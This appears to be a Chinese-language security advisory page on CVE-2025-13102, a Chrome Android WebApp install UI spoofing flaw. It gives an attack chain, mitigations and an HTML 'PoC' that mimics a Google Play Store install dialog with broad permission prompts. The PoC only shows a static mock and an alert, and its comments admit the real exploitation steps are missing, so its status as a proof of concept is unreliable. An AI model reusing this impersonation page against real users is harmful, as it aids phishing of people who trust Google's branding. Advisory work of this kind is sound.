CVE-2025-13102: Google Chrome Android WebApp安装UI欺骗漏洞

漏洞信息

漏洞编号

CVE-2025-13102

漏洞类型

UI欺骗

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Google Chrome on Android

漏洞概述

CVE-2025-13102是Google Chrome浏览器Android版本中的一个UI欺骗漏洞。该漏洞由Google Chrome安全团队发现，编号为[email protected]，漏洞等级为中等（CVSS 4.3）。问题出在Chrome Android的WebApp安装功能实现上，远程攻击者可以通过精心构造的恶意HTML页面来欺骗用户界面。由于该漏洞具有UI欺骗性质，攻击者可以伪造看似合法的安装对话框或提示信息，诱导用户在不知情的情况下执行某些操作。虽然该漏洞被Chromium安全团队评为低严重性（Low），但仍可能被攻击者利用进行钓鱼攻击或社会工程学攻击。用户需要与恶意页面进行交互才能触发该漏洞，因此攻击复杂度相对较高。建议Android用户将Chrome浏览器升级至134.0.6998.35或更高版本以修复此安全问题。

技术细节

该漏洞的根本原因在于Google Chrome Android的WebApp安装功能存在不当实现（Inappropriate implementation）。在正常的WebApp安装流程中，浏览器会向用户展示一个确认对话框，显示即将安装的应用名称、图标和权限信息。然而，由于该功能存在UI欺骗问题，攻击者可以通过精心构造的HTML页面来操控这个安装对话框的显示内容。攻击者可以伪造应用名称、图标甚至权限提示，使得虚假的安装对话框看起来像是由系统原生生成的安全提示。用户看到的是一个看似可信的安装确认界面，但实际上显示的内容完全由攻击者控制。当用户点击确认安装后，可能会安装一个包含恶意功能的WebApp，或者被诱导至钓鱼页面。由于该漏洞利用需要用户交互（UI:R），攻击者通常需要结合社会工程学技术，通过钓鱼邮件、恶意网站链接等方式诱导目标用户访问恶意页面并触发安装流程。

攻击链分析

STEP 1

步骤1

攻击者创建恶意HTML页面，构造伪造的WebApp安装对话框界面，包括虚假的应用程序名称、图标和权限信息

STEP 2

步骤2

攻击者通过钓鱼邮件、恶意链接或被入侵的网站诱导目标用户访问该恶意页面

STEP 3

步骤3

用户在Chrome Android浏览器中打开恶意页面，页面显示伪造的系统级安装提示对话框

STEP 4

步骤4

用户误以为这是合法的系统安装提示，可能点击确认安装或授权按钮

STEP 5

步骤5

攻击者利用用户的信任和操作，诱骗用户安装恶意WebApp或获取敏感信息

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CVE-2025-13102 PoC: UI Spoofing in WebApp Installs -->
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Fake App Installer</title>
    <style>
        body { font-family: Arial, sans-serif; padding: 20px; }
        .fake-install-dialog {
            border: 2px solid #4285f4;
            border-radius: 8px;
            padding: 20px;
            max-width: 300px;
            background: #fff;
            box-shadow: 0 2px 10px rgba(0,0,0,0.2);
        }
        .fake-app-icon {
            width: 64px;
            height: 64px;
            background: linear-gradient(45deg, #4285f4, #34a853);
            border-radius: 12px;
            margin-bottom: 15px;
        }
        .fake-app-name { font-weight: bold; font-size: 18px; color: #333; }
        .fake-publisher { color: #666; font-size: 14px; margin: 5px 0; }
        .fake-permissions { font-size: 12px; color: #888; margin-top: 10px; }
        .install-btn {
            background: #4285f4;
            color: white;
            border: none;
            padding: 10px 20px;
            border-radius: 4px;
            cursor: pointer;
            margin-top: 15px;
        }
        .install-btn:hover { background: #3367d6; }
        .spoofed-indicator {
            color: red;
            font-size: 10px;
            margin-top: 5px;
        }
    </style>
</head>
<body>
    <h2>Chrome Android UI Spoofing PoC</h2>
    <p>This PoC demonstrates how an attacker could spoof the WebApp installation dialog.</p>
    
    <div class="fake-install-dialog">
        <div class="fake-app-icon"></div>
        <div class="fake-app-name">Google Play Store</div>
        <div class="fake-publisher">Published by Google LLC</div>
        <div class="fake-permissions">
            This app will have access to:
            <ul>
                <li>Your location</li>
                <li>Camera and microphone</li>
                <li>All files on device</li>
                <li>Payment information</li>
            </ul>
        </div>
        <button class="install-btn" onclick="alert('Install button clicked - UI spoofed!')">Install</button>
        <div class="spoofed-indicator">[ATTACKER CONTROLLED CONTENT]</div>
    </div>

    <script>
        // Simulate the UI spoofing behavior
        console.log('CVE-2025-13102 PoC loaded');
        console.log('This demonstrates how malicious pages can spoof Chrome\'s WebApp install UI');
        
        // The actual exploitation would require:
        // 1. Abusing the beforeinstallprompt API or installation flow
        // 2. Manipulating the display of install confirmation dialog
        // 3. Tricking users into installing a malicious web app
    </script>
</body>
</html>

影响范围

Google Chrome on Android < 134.0.6998.35

防御指南

临时缓解措施

临时缓解措施：避免点击来历不明的WebApp安装链接或对话框；对任何要求安装WebApp的页面保持警惕；在Chrome设置中禁用WebApp安装功能；使用可信的安全软件检测恶意页面；不要从弹出窗口或可疑网站安装任何应用。